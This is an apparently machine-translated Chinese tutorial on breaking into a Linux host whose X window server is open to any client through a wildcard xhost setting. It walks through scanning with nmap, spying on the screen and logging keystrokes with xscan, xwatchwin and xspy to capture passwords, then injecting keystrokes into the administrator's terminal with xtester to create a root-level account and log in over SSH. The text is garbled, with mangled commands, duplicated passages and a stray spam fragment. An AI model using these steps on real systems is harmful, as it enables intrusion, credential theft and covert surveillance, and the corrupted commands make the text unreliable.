评论:常见的漏洞分为软件漏洞和配置漏洞。挖掘软件漏洞需要扎实的编程技巧和对操作系统原理的深入理解。



配置漏洞通常由管理员自身知识的不足引起的。在Linux环境下,X窗口显示图形界面应用程序的底层系统,和X窗口服务的认证通常分为xhost现货黄金






常见的漏洞分为软件漏洞和配置漏洞。软件漏洞的挖掘需要坚实的编程基础和对操作系统原理的深刻理解。



配置漏洞通常由管理员自身知识的不足引起的。在Linux环境下,X窗口用于显示底层系统的图形界面应用程序,窗口服务X认证通常分为xhost和XAuth认证,xhost认证配置方法比较简单,只是在xhost命令或选项允许或拒绝一个主机访问当地的X窗口服务即可。例如:xhost 192.168.0.88 ,让192.168.0.88机访问本地的X窗口服务的IP地址,xhost - 192.168.0.88说192.168.0.88机访问本地的X窗口服务禁止的IP地址,但如果的管理者R配置不当,xhost 这样的通配符配置,表示将允许任意的主机访问本地X窗口服务的IP地址,这个配置是非常危险的,远程攻击者可能利用此漏洞的系统配置管理等服务,而且很容易



机器的最高权威。



检查。



首先,目标机器扫描理解开放服务的端口,在Linux环境下,我选择了nmap扫描的国王。扫描的结果如图1所示。







图1



通过扫描结果由Nmap的回来,你可以了解到主机开启了SSH服务(22端口),和X窗口服务(端口6000)。观点2入侵,一是通过蛮力SSH服务一直是主机,如果主机的SSH服务使用V1版本,你也可以使用ettercap嗅探攻击该隐或工具的,为了得到明文连接密码;二是看X窗口服务配置是正确的。如果管理员配置不当,那么我们的入侵就容易多了。



XSCAN是最常用的扫描工具进行评估时,X窗口服务。它可以快速识别主机的段或X窗口服务。使用xhost认证方法时,它激活了通配符(xhost),这是错误的主机,linux下的工具很多都发表在源代码,所以我们需要先编译。顺序如下:



焦油xscan.tar.gz ZXF



GCC XSCAN。C窥探。C O XSCAN - L / usr / /库lx11 X11R6



XSCAN的使用是很简单的。经过XSCAN,可以输入要扫描的一个独立的IP地址或IP网络段。顺序如下:



/ XSCAN 192.168.0.144。



效果如图2所示。







图2



通过交换扫描扫描结果,我们可以看到,该工具已被连接到主机192.168.0.144 X窗口服务,并开始捕捉192.168.0.144主机的按键信息,并保存记录keylog192.168.0.144:0.0文件。



两。入侵



从主机上了这192.168.0.144主机X窗口服务xhost认证配置不当,我们可以用xwininfo工具,192.168.0.144主机实时监控画面,了解目标主机的一举一动。Xwatchwin也发表形式的源代码,并编译命令如下:



焦油ZXF xwatchwin Z。焦油。



CC—O xwatchwin。C O xwatchwin - L / usr / /库lx11 X11R6



使用xwatchwin时,当地的Linux平台需要进入图形界面,否则工具不会成功。使用的工具如下:



/ xwatchwin 192.168.0.144根。



输入命令后,会弹出一个窗口,所以我们可以实时监控每一个行动192.168.0.144。效果如图3所示。







图3



如果你只想知道目标主机按键,也为了节省带宽,或者当目标主机键入管理员密码显示为*字符(登录邮箱、论坛),Xspy可以用这个工具来记录,目标主机实时键盘记录,从而获得敏感信息,我们可以进一步入侵。当Xspy编译,如果你的Linux主机中已经包含了usleep功能,你需要修改下imakefile文件,删除usleep。C和usleep。啊,这样我们就可以编译正常。例如,图4:







图4













评论:常见的漏洞分为软件漏洞和配置漏洞。挖掘软件漏洞需要扎实的编程技巧和对操作系统原理的深入理解。



配置漏洞通常由管理员自身知识的不足引起的。在Linux环境下,X窗口显示图形界面应用程序的底层系统,和X窗口服务的认证通常分为xhost现货黄金






编译命令是:



xmkmf;使



使用方法是:



。/ xspy显示192.168.0.144:0



在这一点上,你可以看到目标主机的管理员的软件。例如,图5:







图5



通过192.168.0.144该主机的实时监控,我发现大部分时间管理员就上网,与xspy键盘记录,我到管理员邮箱的密码,但是当试图使用SSH登录,帐户是不正确的。等了很长时间,发现管理员打开终端命令线,是Apache配置的相关信息,我们得到了一个机会,可以xtester这个工具来添加一个命令直接发送到目标主机的管理员终端命令行窗口,然后登录ssh。



当Xtester。C编译程序作者不包括C文件到代码相关的头文件,所以我们需要手动添加,如图6:。







图6



对xtester编译命令如下:



GCC xtester.c-o xtester - lxtst - lx11 - L / usr / / lib X11R6



使用前Xtester,你需要知道的终端命令行窗口的ID值,十六个值,你可以使用xwininfo与Linux系统。



订单如下:



xwininfo树根显示192.168.0.144 | grep我konsole



通过grep过滤出目标主机的终端命令行窗口(konsole)0x1e00008 ID值,你可以使用xtester送击键到这个窗口。顺序如下:



xtester 0x1e00008 192.168.0.144:0 /。



进入上述命令后,会弹出一个小窗口。此时,您可以输入管理员的命令。输入现在没有显示出来,所以我们必须仔细输入它。我的经验是在每个命令和命令之后输入几次,这样可以提高成功率。Linux下的系统管理员的命令如下所示:



因为G 0 U 0 - o Mickey



回声:| chpasswd米奇米妮



这两个命令意味着:添加一个带有root权限的系统帐户,用户名为米奇,密码为米妮,效果如图7所示:







图7



现在可以用ssh登录,命令如下:



SSH L米T 192.168.0.144



效果如图8所示。







图8



在这一点上我们可以很容易地得到目标主机的最高权威。然后我不会安装rootkit的工作。:-)



三。结语



我们可以看到,Linux的入侵,我和其他的菜,主要的困难是用汇编写的代码,在编译后的代码往往是错误的,找不到库文件路径,程序本身是代码的头文件或分号语句完成的不足,这个时候可以去谷歌得到帮助。我只是学习Linux,如果有错误,请纠正大师。